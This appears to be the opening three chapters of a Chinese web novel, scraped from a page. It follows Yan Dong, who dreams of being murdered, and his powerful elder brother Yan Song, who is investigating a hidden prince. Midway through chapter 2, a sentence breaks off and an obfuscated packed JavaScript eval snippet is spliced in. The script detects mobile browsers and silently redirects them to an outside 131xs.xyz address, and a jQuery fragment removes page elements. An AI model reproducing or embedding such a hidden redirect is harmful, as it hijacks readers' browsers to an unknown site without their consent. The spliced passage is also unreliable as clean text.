《炮灰,但大哥是未来皇帝》 1. 噩梦 “我大哥才不会在外冶游!” 燕冬一箭射断玄袍青年高举在半空的彩穗铜钱,疾风精准未伤皮毛,引得一片喝彩。他将黑漆弓掷回弓囊,没了兴致,愤愤地,“是谁信口雌黄瞎编排?我非撕了他的嘴不可!” 对方还没答话,玄袍青年先自百步外骑马驰来,嚷着薅燕冬的马尾,“我招你了?吓我一跳!” 燕冬仰腰躲过,忧心地把人瞧着,“亏你还是个习武的,好不经吓,近来多有懈怠吧?这可不行,等侯二哥岁假归京,我得请他多多督促你。” 侯翼果然瞬间垮脸。 侯三公子常和老子在家蹿房掀瓦,对那位克弟千里之外的兄长却十分敬畏,是小时候被揍多了屁股的缘故。为此他常对同样顶着长兄淫威长大的燕冬纳闷:咱俩明明是一对排排跪挨戒尺哇哇叫着长大的难兄难弟,你小子被揍屁股的次数不比我少,怎么见了“刽子手”不打哆嗦反笑得比蜜饯果子还甜?别是生来欠揍吧? 同人不同命啊,燕冬沾沾自喜,他和大哥兄友弟恭,羡煞旁人! 眼下二人一个笑容纯善一个眼冒火星,眼看又要化身一对乌眼鸡当场互啄三百回合,坐在场外饮茶的人忍不住先笑了一声。 这下可好,燕冬当即勒转马头,胯|下的神骏生了双横瞳玉石眼,同主人一齐瞪向那人。 马场外搭着木棚,外缀梅枝内设清供,颇为雅致,此时里头站的都是鱼照影的人。鱼二公子枕着梨木交椅,晃着雪竹扇面,一双柳叶眼好似生来带笑,平日多风情。 “笑,”燕冬龇出一口糯米白牙,“坏我大哥名声,等他办差回来,一准收拾你们!” 侯翼叫屈,“和我有半文钱的干系!你迁怒我就算了,现下还要连坐?” 鱼照影也连忙喊冤,“燕小公子明鉴!燕大哥在黔州办差时夜入花楼,约莫一个时辰才出来,还换了身衣裳——这消息跟我可没关系,是我从奚望那儿听来的,他昨儿个从黔州回来了。” 奚望是五皇子的亲信,对外说话做事都是照主子的意思,五皇子与燕冬自然不如他们仨亲厚,但也是自小玩到大的,哪能不知燕冬是个护兄狂魔?何况燕颂位高权重、深得圣心,当朝皇子向来对他客气有加,事关名声,奚望于公于私都不敢瞎编排。 否则鱼照影也不敢同燕冬说。 燕冬心领神会,心里不禁有点打鼓,莫非大哥真是岁数到了,思春了?他不安地搓着缰绳,转念又找茬似的质疑,“奚望又不同大哥一起办差,怎么对大哥的行踪这么清楚?” “阎王爷的行踪,谁不关心?打燕大哥出门,飞书暗哨就满地飞啦。”鱼照影说,“再说奚望是黔州人,每年这时候都要回去祭坟,同在黔州碰上了也不足为奇。他既然敢漏风,想来心中没鬼。” 燕冬陷入沉默,蹙眉耷耳,怏怏不乐。 见状,侯翼心中那簇想把燕冬瓜种进土里的火苗就暂时熄了,转而安抚道:“这事儿指定有误会,燕大哥自来端方克己,怎么可能急色到去花楼解馋的地步?真那么饿,不如吃常春春,俊秀懂事还安全,不比外面的好?” 燕冬挺郑重地点了下头,谣言不可信,旋即反应过来这臭猴方才说了什么鬼话,伸腿就是一脚,“我大哥又不好龙阳!况且他和春春是正经主从,你当谁都像那谁吗!” 侯翼撅臀躲过无影脚,笑嘻嘻地往棚里瞥了一眼。 鱼照影好奇,“‘那谁’是谁?” 燕冬喵了眼站在鱼照影身后的小辫儿亲卫,做了个“羞羞”的表情,冷漠地说:“谁知道呢。” 那对不清白的主仆毫不避讳地笑起来,坐着的眼神暧|昧,站着的目光揶揄,反倒让燕冬莫名不自在。 “你们……哼!”他决定和姓鱼的割席。 草泥沾鞋,马场飞尘,燕冬翻身下马,扭头噔噔噔地去厢房更衣了。 廊下的侍从将御冬的红梅厚布帘放下,跟着进屋伺候。 屋里用的是打伽南阁进的梅蕊香,那是京城最好的制香坊,传统香料应有尽有,奇香私香也能风靡一时、有价无市,随便开一罐都挑不出错来。可今天的嘛,燕冬嗅了嗅,说:“浓了。” 侍从跪在燕冬身前帮他系腰带,闻言手抖了一下,慌忙赔罪。香没问题,那就是侍香的没做好。 这人眼生,燕冬随口道:“新来的?” “回小公子的话,小人是两月前来庄里做事的,有不周到的地方,万请小公子恕罪。”侍从脸色发白。 燕冬对家仆宽容,到了外头也没有苛责谁的心思,只说:“平日来这儿跑马的,难伺候的可多。” 譬如贺小伯爷,上月来的时候只因茶冷了些,就将奉茶的打得血渍呼啦撵了出去。侍从明白燕冬在提醒自己,忙扯唇露出个感激的笑来。 燕冬换了双干净的长靴,打帘出去了。 侯翼正蹲在鱼照影椅子旁啃甘蔗,燕冬走过去说:“我出来的时候娘亲说夜里约莫又要落雪,你俩记得早点回,我先去御医院接阿姐回家旬休了。” 程庄是京城有名的马场,他们平日常来跑马。这儿是文华侯府的产业,庄主是鱼家的家生子,私下是鱼照影的人,算半个自家地盘,是以燕冬和侯翼偶尔就懒得带随从了。见燕冬这会儿子还要去皇城,怕他路上没个差遣的,鱼照影便说:“我让人送你?” 燕冬说不用,转身走了。 马已经被马倌牵到了场外,燕冬上前摸摸马颈,贴着脑袋蹭了蹭,胡萝卜许是等得无聊了,没有像平日那样晃脑袋回应。他心里有事,也没多想,打马就走了。 燕冬独自溜达下山,雨雪后的桃溪山云雾缭绕,灰蒙蒙的,不甚明朗。 “寻花问柳,倚玉偎香,”燕冬盘腿坐在马背上,眼神放空,自言自语,“不可能,绝对不可能。” 燕颂自小就是同辈第一流,“别人家的孩子”,不知被多少朝臣拿回家鞭策打击过自家孩子,一度被迫沦为同辈中的“阎王爷”,一出现就是索命来的。 燕世子读书时两耳不闻窗外事,年年魁首,在雍京常宁县县学读书时还做了助教和学录,算是小小年纪就步入了官场。从国子学被钦点入仕后更是身负重任,如今已身兼审刑院使、刑部侍郎、文书房行走等要职,还要教六皇子读书,少有机会参加各种赏花宴踏青游从而与某位品貌不俗的小姐相识相知,且他禁欲克制得比宫里的宦官还要干净利落,历来是不近美色,清白一身。 因此如今大家谈起燕世子,只说他样样都好,唯有一桩落后于人,就是婚姻大事。 ——诚然,燕冬赞同不了一点儿,他大哥凭什么非要成亲?一个个儿这么喜欢成亲,自己多和离几次嘛,整天盯着别人家做什么? 总之行情再好,老板不开张,买家蜂拥垂涎三尺也瞧不见红布下的宝贝。记事以来,燕冬都数不清燕颂拒了多少门亲,但有一桩记忆犹新—— 去年暮春,承安帝微服到燕国公府时问了一嘴:落花有意,流水有情否? “花”指的是荣安,大雍唯一的公主,金枝玉叶,很得圣宠。但不确定燕颂是半点不中意还是位极人臣的欲望力压了做皇家赘婿,总之他说了否,好在承安帝只是随口一说,笑笑就罢。 彼时燕冬带着六皇子那个小不点坐在亭檐上做小弓,跟着心一提,又跟着心一松。 六皇子挤着燕冬的胳膊,小声说:“冬冬,你笑得好猖狂。” 他确实笑了。 荣华聪慧端方,生得也如瑶池仙女一般,这样好的姑娘都不能让燕颂动心,燕冬惊讶又纳闷,更多的却是庆幸。 弟弟不想让长兄宜家宜室,没道理,说出去人家要说这是个不懂事的坏弟弟,燕冬也说不出来自己是怎么想的,只是在那君臣一问一答间,他想起了承安十八年燕颂被人围杀重伤、卧伤在床时凝视他的那双眼睛,一双神光风流的凤眼,平日孤高如皎月的清光破碎,满当当地只装了个他。 自小到大,燕冬没见过燕颂这样看别人,这是独属于他的珍宝,除非剜心丧命,否则不容觊觎。 于是彼时心潮起伏,暗涌难退,只有一个念头如游鱼,莽撞直接地跃出水面。 ——那双眼睛要一直、只能满当当地装着他。 燕颂本也没想娶妻生子,所以燕冬觉得自己不算自私,何况燕颂对他有教养之恩,那给燕颂养老送终的责任自然该他来担,不劳烦别人。 马嘶声打断了聊以□□的燕冬,他陡然回神,下意识地勒紧缰绳伸腿踩蹬俯身下压,才没被突然扬蹄的胡萝卜甩下去。可不等他揍胡萝卜的屁股,马便往边上狂奔而去——那是山崖! 老马识途,家驹护主,电光石火间,燕冬骤然想起那个眼生的侍从和胡萝卜先前打蔫儿的样子。 有人要害他! 燕冬心里一凛,试图御马不成,立刻翻身落地,右臂挟鞍,脚下顺马狂奔几步。他平日拉弓多,臂力很好,竭力咬牙竟将疯马拽回两步。 前蹄在崖边堪堪停住,激起一片土石,它们坠在崖底没有声音,燕冬却听得浑身冷汗。 “胡萝卜!”他在慌神间嘶吼,理智在权衡利弊,感情却不容许他放弃和他一起长大的马儿。 疯癫狂怒的马转过头,湖水般晶莹的眼睛一片赤红,燕冬心中一寒,试图再挤出更多力气,脚下冷不丁地一晃,却是突然浑身软绵,头脑晕眩。 只这一瞬间的松懈,马和人一起滚落山崖。 身体急速下坠,耳边风声尖锐,一人一马重重地砸断树干,摔在崖底。 燕冬从胡萝卜身上滚下来,五脏六腑和骨头同时爆发出剧烈碎响,他喉咙收缩,猛地喷出一口血。 胡萝卜没有发出声响,连风声都诡异地消失了。 燕冬浑身剧痛,五感混沌,爬不起来了。他竭力缩回右手,灰暗的眼前终于出现一点颜色,是他戴在次指上的红玉指环,去年生辰时燕颂亲手打给他的,上面刻着一对雕花春燕。 燕冬茫然地咬住指环,含糊不清地哭喃道:“哥哥救我……” 沉缓的跺地声自身后迫塞而来,紧接着小腿被什么踩了一下,好似在试探他的死活。燕冬鼻翼翕动,哽咽喘息,却怎么都爬不动,下一瞬,小腿被尖利的兽齿撕裂—— “啊!” 燕冬猛地坐起,喘息不止。 “公子?!”守夜的来不及穿鞋,抓起夜灯穿过月洞门博古架,“您怎么了?” 燕冬没说话,常青青心里急,斗胆提灯一照——夜灯朦胧,那双琥珀眼泪水涟涟,混杂着淋漓冷汗,整张脸像被浸湿揉烂的白布,散发着惊恐迷茫的气味。 常青青心里一跳,提灯的手抖了抖,烛光一线,在燕冬苍白的脸上折出斑驳胧光,卷长湿润的羽睫颤了颤,怔怔地看向他。 “外面……”喉口好似糊了血,燕冬使劲吞咽了一下,“下雪了吗?” “约莫半个时辰前开始下的,今年的初雪来得比去年稍晚,这都冬月下旬了。”常青青掖好被子,关心道,“冷不冷?” 燕冬摇头,想了想又问:“傍晚我睡着后,那俩有来找我吗?” “您三位真是心有灵犀!鱼二公子让人来传了话,说过几日天气好些,就请您上程庄跑马,侯三公子新编了串彩穗铜钱,就等着您去百步穿杨了。但今夜下雪了,不知哪天才会停……公子?” 燕冬攥紧锦被,胸口起伏,指骨因为用力突出,常青青看得惊心吊胆,忙道:“我去叫胡大夫来好不好?” 燕冬的目光掠过常青青担忧的脸,落在对窗,雪月交映,亮如白昼。 “青青,我想看雪。”他说。 “欸。”常青青将夜灯挂在床前的花梨莲花灯架上,拿裘衣把燕冬裹严实,转身去开了一扇窗。 雪落云起,飞花入户。 廊外的细竹落得满身碎琼,一旁吊垂下来的两枝红山茶艳丽绚烂,开得正好。只是雪夜风大,摧折了一朵小的,它落在雪竹上,颤栗难安,摇摇欲坠。 “大哥,”燕冬惶惶不安,“你什么时候回来?” 风雪摧迫,红花被卷入雪中,几经飞旋隐入雪夜,茫茫不知归处。 * 夜色凄冷,点点杨花,冷白修洁的手伸出菱格半窗,接住了从墙头坠落的红山茶。 风雪打湿了平整熨帖的天缥色宽袖,向来喜净的大人将山茶轻拢入掌心,以指相覆,不紧不慢地收了回来——原来大人也是惜花之人。绯袍官员在心中默记了一笔,寻思年节将至,要不要搜罗一株好山茶孝敬上去? “大人,”审刑院的人入内禀报,“人抓到了。” 粗布棉袍、蓬头垢面的中年男人被押了进来,不等人说,这人“砰”地跪地磕头,“世子——” “大人奉旨办差,改唤官称!”绯袍官员喝止。 陈臻一哆嗦,立刻唤了声“燕大人”。 “陈知州,敢做不敢认啊,”绯袍官员用刀柄敲了敲陈臻的脸,啪啪响,“咱们从黔州跑到你这儿来,一路累得很。你倒好,跑到狗洞里窝着,害咱们好找不说,你也不嫌掉价!” “任主簿说笑了,作死和怕死也不冲突,不冲突。”陈臻向燕颂哐哐磕头,额颅剧痛也不敢停,“但下官已然知错了,求燕大人饶命!” “侵吞公款,聚敛私财,谋财害命,畏罪潜逃——陈知州功迹卓著,我是慕名而来。”燕颂勾了下花瓣,触感丝滑柔腻,像少年的脸颊。他便笑了笑,“年底了,陈 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“事到如今,还在和我叫价。”燕颂淡淡地看了陈臻一眼,一言而定,“用你最值钱的消息换一条好走的死路,没有比这更好的价了。” 陈臻喉口颤动,也许有人不惧口舌锋锐,但三年前尚在刑部任职的他曾亲眼领教燕颂的血腥手段。 彼时燕颂十九,刚从礼部调迁至刑部,便在狱司里招待了围杀重伤自己的幕后主使。他拿着把剔骨小刀将对方的手臂削成了半面骨架,又穿针引线,仔细地将剥落的皮□□到犯人的脸上,直至犯人剧痛窒息而死。 燕颂神情认真,姿仪雅正,美其名曰“近来想绣个荷包,就地取材练练”,陈臻却记得刑房外气息压抑,许多狱司老人捂嘴吐了一身。 这是京城里最惊才绝艳、风神秀异的世家子,也是如今朝堂最心狠手辣、炙手可热的活阎王。 阎王要你三更死,岂会留你到五更? 陈臻瘫倒在地,那点最后的心力突然崩散得干干净。 冬夜冱寒,风呼呼地乱打,反而衬得这州府堂院静悄悄的。屋内外没人说话,审刑院的人握刀静立,像虎视眈眈的鬼刹。 陈臻后背瘆凉,强撑着神智,“我……我说。” 潞州近来流言暗涌,他知道燕颂一行人想确认的消息是什么。 “月初,有人潜入潞州,意图抓走丰和村风家的三个村民。风家母子三人里,只有二子风宋侥幸逃走。后来下官抓到了那一拨人中的两人,从他们口中拷问出了一个秘密……”陈臻吞咽唾沫,哑声道,“一个会震惊朝堂的秘密。” 燕颂撩拨花蕊,指尖冰凉,是雪珠,又像冷下来的泪珠。他指尖一蜷,越发心不在焉。 “风宋原名宋风眠,其父是罪臣宋隆的管家,母亲是潜邸明夫人的贴身侍女。先帝时,宋家因废太子之事遭受牵连,亲族立斩,嫡系受戮。”陈臻缓了缓,“宋家出事正撞上潜邸明夫人生产,明夫人得知消息,受惊晕厥,一尸两命——此事竟然不真,虽其中缘故不详,但明夫人之子尚在人间。” 屋中气氛稍凝。 陛下在潜邸时最为宠爱明夫人,登基后也并未因为宋家之事牵连,甚至违制封其为明妃,位于四妃之首,赐居长明殿,好似人还在世一般。 如今大雍没有储君,陛下态度不明,二三五这三位皇子面和心不和,已然让大臣们心力交瘁。此时再来一个,虽说下落不明,但当年能在陛下眼皮子底下瞒天过海的得是什么样的人物? 宋风眠之父是宋隆的嫡系,难逃一死,但其母随明夫人嫁入潜邸,成了后宅姑姑,便不再算宋家人,只要彼时的陛下愿意,她自然可以逃过一劫,带着一双襁褓孩儿和这则秘密“消失”。 如今突然有人找上母子三人,裹藏秘密的罐儿碎了一角,不论闻风而来的老鼠是要咬出还是遮掩明妃之子的身份,此子都不可忽略。 任麒摩挲刀柄,“那拨人是谁家的?” 陈臻抬头看向燕颂,后者神情平淡,年纪轻轻就喜怒不形于色,可见城府之深。他埋下头,心中一片森冷,答话道:“二皇子。” 此人是五皇子的门生,此事上没有撒谎的必要,可任麒有些纳闷,“二皇子是从哪儿听说的风声?” 陈臻不知。 任麒看向燕颂,后者不语,他便朝审刑院的人抬了抬下巴,拖下去吧。 陈臻苦笑一声,弯腰磕了个头,被人押了出去。 血当时在廊下泼了一地,被水一冲,悄无声息地流下阶梯,染红了青石板上的密雪。 任麒在门口看了一眼,让人将尸首处理干净,和搜集的账簿罪证一道记簿上奏。他转身走到窗前,正要说话,却听燕颂说:“介弟和五皇子亲么?” 任麒愣了愣,一时不明白这句话背后是否有什么深意,但他不敢不答,只斟酌着说:“五殿下与小公子自小一块儿长大,自然不生疏,但这也没什么特别的,毕竟小公子纯善开朗,陛下都疼他得紧呢。” 燕颂没有说话。 任麒觉得怪异,但琢磨不出来,只得算了,“对了,是否要派人搜寻宋风眠?” 燕颂问:“找着了呢,是保护还是截杀?亦或是带到陛下面前,给陛下上一道难题?” 谁知道陛下想不想四皇子“死而复生”呢? 任麒心里一跳,忙道:“下官多嘴!大人放心,下官的耳目嘴巴必定都遵循您的意思。” “不该知道的不知道,不该说的不外说,很好,”燕颂稍顿,“可任主簿如此‘忠心’,回去要如何同陛下交代?” 这句话平淡,但在任麒听来和走夜路突然转头和鬼贴面没有区别,太突然,太危险,他心里悚然,还没来得及反应,人已经跪了下去。 “大、大人……” “任主簿这是做什么?你是陛下跟前的人,谁见了不得客客气气,别动不动就跪我。” 燕颂语气很好,却让任麒不寒而栗。 审刑院的人隐没在夜色里,他们仿佛看不见听不着,任麒可以‘悄无声息’地死在这里,在上达御前的簿册上落下“殉职”二字。这件事不会激起任何水花,因为没人知道任麒是皇帝安插在燕颂身旁的眼线,燕颂自然也可以“不知道”,而在陛下看来,比起君臣离心,一颗棋子的性命显然不值一提。 燕颂到底是何时发现的! 任麒浑身冒汗,急忙磕头,“大人饶——” 他话未说完,廊下传来熟悉的脚步声,匆忙急切堪称失态。燕颂预感不妙,猝然偏头看向门口。 “世子,”常春春疾步闯入,“逢春院连夜飞书,小公子出事了!” 2. 雪夜 夜深知雪重,时闻折竹声[1]。 “啪嚓”,廊外的一根细竹被连日大雪压弯了腰,常青青闻声从弥勒榻上起身,打帘穿过月洞门博古架。 花梨莲花立灯歇了,长窗设了帏箔,只有对窗的长几上亮着一盏粉青釉花口灯,屋里乌幽幽的。常青青轻步走到床边,果然见燕冬睁着眼。 燕冬平日好眠觉重,用燕二公子那句讨打的话说,半夜被人塞麻袋偷走都不知道。可自从七日前那天夜里自噩梦惊醒,他就神思恍惚,白日不去国子学,也不出门玩,就待在屋里发呆,夜里也少眠易醒。 常青青自小就伺候燕冬,除了三年前燕颂重伤那回,就再没见过不知愁滋味的小公子有这副寝食难安、愀然不乐的模样。 到底是什么噩梦,这般吓碎肝胆?! 常青青焦心得很,偏不敢细问,问也问不出来—— 自出了事,国公和郡主日日都来,二公子和三小姐也从宫中告假回来,鱼二公子和侯三公子直接逃学来了国公府。大家伙你送宅子我送珍宝,你在门前上吊我在地上打滚,你柔情似水地哄我哭天抢地地求,用尽手段,愣是没从他主子嘴里探出“病因”。 三小姐翻阅医书古籍也寻不到良方,没法子,向来不信鬼神之说的国公已经偷偷将一窝和尚道士请来府中,准备开坛作法了。 要是世子在就好了,“对付”小公子,世子从来就是那颗灵丹妙药,百病可消。 常青青心里犯愁,面上却不敢表现,俯身说:“您饿不饿?厨房还温着先前三小姐亲自做的——您喜欢吃的梅花汤饼。” “看来阿姐还没放弃成为医毒双绝的人物。”燕冬幽幽地说。 常青青:“呃。” 三小姐是御医院林院使的嫡传弟子,年纪轻轻就通过层层考核任职御医,更在御前侍疾,医术自不用说。而她的厨艺能让曾在荒野追击敌人时被迫“茹毛饮血”的国公和郡主难以下咽,让数九寒天穿单衣练武都从不受寒、体格健壮如此的二公子上吐下泻,威力也堪称强悍! 三小姐别是没法子了,只能故意用一碗梅花汤饼折腾得小公子没法安生,这样他就没力气胡思乱想了吧? 常青青大胆地猜测。 不过说起这个,燕冬倒是想起一茬来,“明儿你记得把我先前从黑市淘来的《如何成为厨神》交给她,有梦想的人都了不起,我们要支持阿姐。” 但仅限心里支持,燕冬到底没敢碰那碗梅花汤饼,他都是注定要死的人了,何必没苦硬吃呢。 “诶。”常青青没拆穿燕冬的胆怯和敬畏。 风打在窗上,呼呼大响,像凶兽撞门前的恐吓怒啸。燕冬嘴唇抿紧,放在肚子上取暖的手微微蜷缩,抠了下暖和的肚皮,“几时了?” 常青青看了眼长几上的香漏,“寅时三刻。” 燕冬问:“大哥今晚能回来吗?” 常青青为难不语。 燕冬噩梦惊醒,一夜未眠,常青青心中不安,立时就放了飞书出去。但黔州距京城近四千余里,这个天的好些水路又不好走,哪怕一路快马驰骋、昼夜不歇,单程都至少需要七八日,因此就算燕颂第一时间收到飞书,也是赶不上的。 燕冬何尝不是明知故问,有些不满地犯嘀咕,“各部都快休岁假了,偏偏要派大哥去黔州,驴也不是这么使的呀。” “谁让咱们世子深受重用呢?黔州地方出现了黑心官,招出游行这样的祸事,朝廷需得尽快平息这场风波,安抚百姓,这时就需要一位既能代表朝廷又能体贴圣意、雷厉风行足智多谋身子骨还硬朗的人来担这趟差事——没法子,”常青青叹息,“世子就是太能干太厉害太得圣心了!” 燕冬自小就喜欢听人夸燕颂,闻言眉眼一松,总算露出点笑的模样,“嘿,把炕桌搬来,我要写封信。” “好嘞。”常青青把燕冬搀起来,掖好被子,转身去把床尾的炕桌搬上床。 炕桌是束腰海棠式,镂雕如意头,和寝卧的家具配套,都是去年燕冬从熏风院搬出来时,燕颂亲自挑选料理的。 兄弟俩幼时同住一院常见,但在京城的大户人家里,最多十二三岁就得分院,像小公子这样在熏风院住到十六岁的实属罕见。但想想小公子是世子带大的,也就可以理解了。 郡主刚怀上小公子的时候,恰逢北夏骚扰边境,屠戮犯凶,陛下决议出兵,一为边城军民讨还公道,二为大雍一统天下。国公领命为北境元帅,郡主同往先锋营披甲,过了俩月才知道小公子的存在。 小公子在烽火连绵的边城降生,时值小寒天,所以名“冬”。边城苦寒,和风春日少见,因此城名“逢春”,这也是他表字的来源。 前线危险,边城苦寒,战事操劳,周岁宴后,国公和郡主便派遣亲卫将小公子和世子送回京城,请弟弟代为教养。 就这样,燕二爷开始了替哥嫂教养四个孩子的生活。 据说起初二爷非常头疼,他这么一位忙着编书修史的鳏夫要教养一双三岁大的龙凤胎已经是左来右去,如今再来一双,只恨长不出三头六臂! 所幸世子幼而岐嶷,不要二爷操心,甚至代为承担了照顾幼弟的责任。 周岁宴时,小公子从三米长的桌头歪歪扭扭地边爬边走,没拿爹爹的小木枪、娘亲的小横刀、二叔的缩小版《千字文》和代已逝二婶所做的玉算盘,更没看别的,只咧着糯米小白牙、伸出肉乎乎的小手抱住了站在桌尾的大哥。 周岁宴后,原本打算跟在父母身边的世子陪着小公子一道回家,将奶乎乎的肉团子抱入了熏风院。 前线烽火七年,熏风院里,寝屋床前的小摇床撤下了,两岁的小公子搬上床,和世子同床而眠;书房里新添了一张小书桌,三岁半的小公子坐在小椅子上,跟着世子开蒙习字,用小蚯蚓似的笔触给前线的爹娘问安,天气好的时候总要牵着世子的手,赖着跟去社学,然后靠在世子身上伴着琅琅书声呼呼大睡;过了一年,院里搭了座木香棚,小公子迷迷瞪瞪地窝在摇椅上陪世子晨起练武、夜间练琴;六岁时,小公子提早入学,堂堂正正地做了世子的小尾巴,整日同出同归;第七年,班师回朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456998|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一家团聚。 小公子是金玉,世子便是那严丝合缝的铁瓮,他们熟悉了在同一天地里彼此相接,数年不改。是以这些年来,国公和郡主从未让兄弟俩分院,直到去年,世子主动提起此事。 常青青记得那时小公子的反应,茫然震惊、反应不及,紧接着不解无措、询问原因,世子云淡风轻,只说他年纪到了,要学着独立生活。 天塌了地陷了,大哥不要我了! 小公子泪光一闪,撒娇请求耍赖三招连出,可惜世子态度坚决。于是泪水堪比小瀑布似的往外喷涌,连声质问,拍桌跺地,撒泼打滚的架势汹汹打出,仍然未果。小公子闹累了,失魂落魄地回到屋里,当夜就扛着两个好大的碎花包袱离家出走了。 小公子伤心欲绝,竟一鼓作气跑出了京城,但说来倒霉惊险,人才出城没几里就在京郊被绑了!勒索信一送到世子手里,小公子的离家出走计划当日就崩了盘。 常青青不知那日在山里到底发生了什么,只记得世子出发时神情阴沉难言,小公子被带回来时竟没再继续反抗,不甘不愿但又乖顺地搬进了逢春院。 长兄如父,小公子依赖亲近世子,却也畏惧那把施教训责的戒尺。但那日后,小公子好似对世子新增了一种畏惧,缘由不明。 好在逢春院的家具陈设、用人都是世子调度安置,门匾也是亲提,用心可见一斑,要紧的是挨着熏风院,这让无计可施只能接受现实的小公子聊以慰藉,就这么住了下来。 回忆间,常青青将笔墨一一摆好,轻步退到外间,不打扰燕冬写信。 燕冬拿笔蘸墨,笔尖停在纸上,落下墨痕:大哥敬启—— 梗住了。 说来也怪,他明明要好多话要说,想说,可落到笔尖,反而不知道该怎么说,说什么了。 “唉。” 常青青在外间听到主子叹气,也跟着叹了口气,恨不得立刻长双翅膀乘风至黔州把世子接回来。 窗外响起犬吠,是雪球的叫声,旋即院门打开,这大半夜的谁敢擅自开逢春院的门? 常青青快步走到寝屋门前,开门出去一望—— 岁暮天寒,夜如墨河,男人迎风冒雪归家。 “——世子!” “哐啷!” 燕冬翻身下床时撞翻了炕桌,墨汁洒了一被子,他不管不顾,疾步冲了出去。 常青青连忙侧身让开,燕冬冲出门,撞进来人怀里,力道之重,让来人后退了半步。 燕颂抖开斗篷裹住怀中的人,腰被勒出了痛意,他没有说话,只是摘下了右手的指套,用不那么冰冷的掌心捂住了燕冬的后脑勺。 燕冬浑身一抖,使劲嗅着那股熟悉的石叶香,他闻了好多年的味道,幼时雷雨夜的安抚,后来昼寝时的依靠,是无论何时都能让他安心的存在。 他紧紧咬着犬牙,哆嗦着,“哥哥,我在做梦吗?” 燕颂蹙眉,“没有。” 他指尖微微用力,插|入浓黑的发间,语气轻缓有力,“不怕,哥哥在这儿。” 3. 怀抱 燕冬憋闷了几日,见到燕颂后终于嚎啕大哭。 他小时候常这样哭,嗓子眼一打颤,惊飞满院的鸟,小脸皱成一团,哭时像爆汁的粉桃子,燕颂替他擦脸时,总是惊疑这孩子是水做的。长大后倒是难得一见,也就搬院子那次和燕颂重伤那次这样放肆嚎啕过。 被子被弄脏了,两人坐在外间的榻上,燕颂一手扶着燕冬的背,一手接过常青青递来的白裘,将燕冬裹成一只哆哆嗦嗦的雪人。 常青青见燕颂摇头,便没去准备热茶,去里间收拾床榻去了。 燕颂耐心地等趴在肩上的人哭累了、声儿小了,才说:“你猜我收到飞书时,身在何处?” 燕冬抽噎着,闻言迟缓地打开脑袋里的山河图,猜测道:“是潞州吗?” 他抖着哭腔,软绵绵的,像融化拉丝的糕团,还是咸口的。燕颂被迎面塞了一口,嗓眼发黏,发堵,但抚背顺气的手没停,说:“怎么猜得这么准?” 那话里有夸奖的意思,燕冬忍不住翘尾巴,得意地说:“七日左右的时间,飞书至,大哥归,哪怕连换几匹快马昼夜不歇一刻不停,出发地也不可能是黔州,范围也不会出距京城千里外。前日鱼儿提过一嘴,说潞州知州陈臻为害百姓,更传出了四皇子遗落在外的谣言,方才我一琢磨,大哥是审刑院使,有先斩后奏之权,又身为文书房行走,是陛下的机要学士,谣传事关皇子,你出现在潞州并不奇怪。” 他气息不畅,抽泣声止不住,一段话说得断断续续,很是费劲。 “这几日窝在屋里,倒是没把自己关傻。”燕颂仍然抚着燕冬的背,“四皇子尚在人间并非谣言,只是下落不明。你想知道他是谁吗?” 燕冬抬头,目露好奇,“谁啊?” 他有一双很漂亮的眼睛,不动时状若桃花,笑起来弯若月牙,瞪得溜圆时又显得纯真憨态。此时便更像一对滚满胭脂水的苦杏仁,燕颂用指尖接住杏仁壳边滚落的眼泪,认真地说:“我。” “……” 燕冬迟钝地眨了下眼睛,没反应过来似的。他盯着燕颂呆了好久,久到燕颂要开口岔开话题时,他才回过神,立刻抬手捂住半张脸,认真地小声配合道:“那打今儿起,我就是四殿下一党了——我是燕冬,我支持四皇子当储君!” 自己轻松交代天大的秘密,燕冬却显然不信,燕颂笑了笑,握住燕冬的脸腮轻轻一晃,“傻样。” “那他会回来吗?”燕冬任凭揉搓,口齿不清地说,“虽说素未谋面,但我记得娘亲与明妃是闺中密友,若四皇子还在,娘亲也会欣慰吧。” 燕颂说:“不知,但一定有许多人不愿他回朝。” 消息这么快就在京城传开,多半是二皇子错失了宋风眠,让四皇子真正夭折的计划失败,于是索性搅浑水,让大伙都不安生。 “是啊,争一把龙椅,人越多胜算越小……等等!”燕冬一惊一乍,“那大哥岂不是会为难?” 皇子们对身为天子亲臣的燕颂客气有加,遗憾也庆幸他并不站队。但燕夫人与明妃曾是闺中密友,有心之人难免担心若四皇子回朝,燕国公府的态度会否有所偏斜。更要紧的是燕颂执掌审刑院,身份敏感,届时就怕上头那位也忌惮他心存偏私。 燕颂不以为惧,见那张哭红的脸直发皱,却顺着话说:“既知我危机四伏,是不是该乖一些,替我分忧?” 燕冬明白,这话是要他坦诚心扉,别让人挂心。 看着燕颂风尘仆仆的样子,燕冬抿了抿唇,臊眉耷眼地说:“哥哥对不起……” “这次没有做错任何事,这声对不起没道理。” 燕颂屈指抬起燕冬的下巴,蹭掉那里的泪珠,沉静温和地凝视着他,无需再说什么,燕冬便前所未有的安心。他不必担心说出来会让人忧虑过度,或是觉得他是中邪见鬼,只说出来就好。 心门一开,齿关一松,燕冬把那则噩梦详细道出,他心中阴影难消,说完后忍不住打了个哆嗦。 半揽着他的胳膊微微用力,无声安抚他,燕冬不禁攥紧燕颂的衣袖,指尖惊觉湿冷,想来是衣袖冒雪飞扬,湿了。 “青青,”燕冬喊人,“去熏风院拿干净衣裳来。” “让春春去。”燕颂对出来的常青青说,“厨房该亮灯了,你交代他们做两碗梅花汤饼就歇去吧。” “是。”常青青退出屋子,到廊上和那个与自己长得十分相似的男人说,“哥,你快回去取身干净衣裳来。” 常春春颔首离开,常青青则去了小厨房。 “阿姐也给我做了梅花汤饼。”燕冬小声说。 燕颂沉默闭眼,表示没有听见。 他让燕冬换个干净的地方揪,“只是噩梦不必对亲朋瞒得这样紧,还有什么没交代的?” 